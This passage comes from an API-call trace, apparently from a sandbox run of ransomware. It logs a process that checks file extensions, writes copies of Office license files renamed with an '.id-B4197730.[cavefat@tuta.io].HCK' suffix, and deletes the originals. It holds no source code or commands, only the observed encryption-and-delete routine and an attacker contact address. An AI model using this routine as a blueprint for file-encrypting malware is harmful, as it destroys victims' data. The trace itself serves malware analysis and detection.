Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0236.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.464] lstrlenW (lpString=".doc") returned 4 [0236.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString=".docx") returned 5 [0236.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.464] lstrlenW (lpString=".pdf") returned 4 [0236.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString=".xls") returned 4 [0236.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString=".xlsx") returned 5 [0236.464] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.464] lstrlenW (lpString=".ppt") returned 4 [0236.464] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.464] lstrlenW (lpString=".zip") returned 4 [0236.464] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString=".rar") returned 4 [0236.464] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString=".bz2") returned 4 [0236.464] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString=".7z") returned 3 [0236.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.464] lstrlenW (lpString=".dbf") returned 4 [0236.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.465] lstrlenW (lpString=".1cd") returned 4 [0236.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.465] lstrlenW (lpString=".jpg") returned 4 [0236.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.465] lstrlenW (lpString=".doc") returned 4 [0236.465] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString=".docx") returned 5 [0236.465] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.465] lstrlenW (lpString=".pdf") returned 4 [0236.465] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString=".xls") returned 4 [0236.465] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString=".xlsx") returned 5 [0236.465] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.465] lstrlenW (lpString=".ppt") returned 4 [0236.465] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.465] lstrlenW (lpString=".zip") returned 4 [0236.465] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString=".rar") returned 4 [0236.465] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString=".bz2") returned 4 [0236.465] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString=".7z") returned 3 [0236.465] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.465] lstrlenW (lpString=".dbf") returned 4 [0236.465] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.465] lstrlenW (lpString=".1cd") returned 4 [0236.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0236.466] lstrlenW (lpString=".jpg") returned 4 [0236.466] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.466] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.466] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26 [0236.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.467] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19926) returned 1 [0236.467] CloseHandle (hObject=0x4b0) returned 1 [0236.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0236.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.468] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.468] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.469] GetLastError () returned 0x0 [0236.469] ReadFile (in: hFile=0x4b0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0236.471] WriteFile (in: hFile=0x4d4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0236.472] ReadFile (in: hFile=0x4b0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.472] WriteFile (in: hFile=0x4d4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x108, lpOverlapped=0x0) returned 1 [0236.472] SetEndOfFile (hFile=0x4d4) returned 1 [0236.472] CloseHandle (hObject=0x4d4) returned 1 [0236.472] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.472] SetEndOfFile (hFile=0x4b0) returned 1 [0236.475] CloseHandle (hObject=0x4b0) returned 1 [0236.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0236.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.476] lstrlenW (lpString=".doc") returned 4 [0236.476] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.476] lstrlenW (lpString=".docx") returned 5 [0236.477] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.477] lstrlenW (lpString=".pdf") returned 4 [0236.477] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".xls") returned 4 [0236.477] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".xlsx") returned 5 [0236.477] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.477] lstrlenW (lpString=".ppt") returned 4 [0236.477] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.477] lstrlenW (lpString=".zip") returned 4 [0236.477] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".rar") returned 4 [0236.477] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".bz2") returned 4 [0236.477] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".7z") returned 3 [0236.477] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.477] lstrlenW (lpString=".dbf") returned 4 [0236.477] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.477] lstrlenW (lpString=".1cd") returned 4 [0236.477] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.477] lstrlenW (lpString=".jpg") returned 4 [0236.477] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.477] lstrlenW (lpString=".doc") returned 4 [0236.477] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".docx") returned 5 [0236.477] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.477] lstrlenW (lpString=".pdf") returned 4 [0236.477] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".xls") returned 4 [0236.477] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.477] lstrlenW (lpString=".xlsx") returned 5 [0236.478] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.478] lstrlenW (lpString=".ppt") returned 4 [0236.478] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.478] lstrlenW (lpString=".zip") returned 4 [0236.478] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.478] lstrlenW (lpString=".rar") returned 4 [0236.478] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.478] lstrlenW (lpString=".bz2") returned 4 [0236.478] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.478] lstrlenW (lpString=".7z") returned 3 [0236.478] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.478] lstrlenW (lpString=".dbf") returned 4 [0236.478] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.478] lstrlenW (lpString=".1cd") returned 4 [0236.478] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0236.478] lstrlenW (lpString=".jpg") returned 4 [0236.478] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.478] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.478] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36 [0236.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.561] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3211) returned 1 [0236.561] CloseHandle (hObject=0x544) returned 1 [0236.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0236.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.562] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.562] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0236.563] GetLastError () returned 0x0 [0236.563] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xc8b, lpOverlapped=0x0) returned 1 [0236.565] WriteFile (in: hFile=0x550, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xc90, lpOverlapped=0x0) returned 1 [0236.566] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.566] WriteFile (in: hFile=0x550, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11c, lpOverlapped=0x0) returned 1 [0236.566] SetEndOfFile (hFile=0x550) returned 1 [0236.567] CloseHandle (hObject=0x550) returned 1 [0236.568] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.568] SetEndOfFile (hFile=0x544) returned 1 [0236.570] CloseHandle (hObject=0x544) returned 1 [0236.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString=".doc") returned 4 [0236.572] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".docx") returned 5 [0236.572] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.572] lstrlenW (lpString=".pdf") returned 4 [0236.572] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".xls") returned 4 [0236.572] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".xlsx") returned 5 [0236.572] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.572] lstrlenW (lpString=".ppt") returned 4 [0236.572] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString=".zip") returned 4 [0236.572] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".rar") returned 4 [0236.572] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".bz2") returned 4 [0236.572] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".7z") returned 3 [0236.572] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString=".dbf") returned 4 [0236.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString=".1cd") returned 4 [0236.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString=".jpg") returned 4 [0236.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.572] lstrlenW (lpString=".doc") returned 4 [0236.572] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".docx") returned 5 [0236.572] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.572] lstrlenW (lpString=".pdf") returned 4 [0236.572] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".xls") returned 4 [0236.572] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString=".xlsx") returned 5 [0236.572] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.572] lstrlenW (lpString=".ppt") returned 4 [0236.572] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.573] lstrlenW (lpString=".zip") returned 4 [0236.573] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.573] lstrlenW (lpString=".rar") returned 4 [0236.573] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.573] lstrlenW (lpString=".bz2") returned 4 [0236.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.573] lstrlenW (lpString=".7z") returned 3 [0236.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.573] lstrlenW (lpString=".dbf") returned 4 [0236.573] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.573] lstrlenW (lpString=".1cd") returned 4 [0236.573] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0236.573] lstrlenW (lpString=".jpg") returned 4 [0236.573] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.573] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.573] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29 [0236.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.574] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4392) returned 1 [0236.574] CloseHandle (hObject=0x544) returned 1 [0236.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0236.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.575] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.575] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0236.576] GetLastError () returned 0x0 [0236.576] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x1128, lpOverlapped=0x0) returned 1 [0236.585] WriteFile (in: hFile=0x558, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1130, lpOverlapped=0x0) returned 1 [0236.585] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.585] WriteFile (in: hFile=0x558, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10e, lpOverlapped=0x0) returned 1 [0236.586] SetEndOfFile (hFile=0x558) returned 1 [0236.586] CloseHandle (hObject=0x558) returned 1 [0236.586] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.586] SetEndOfFile (hFile=0x544) returned 1 [0236.588] CloseHandle (hObject=0x544) returned 1 [0236.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 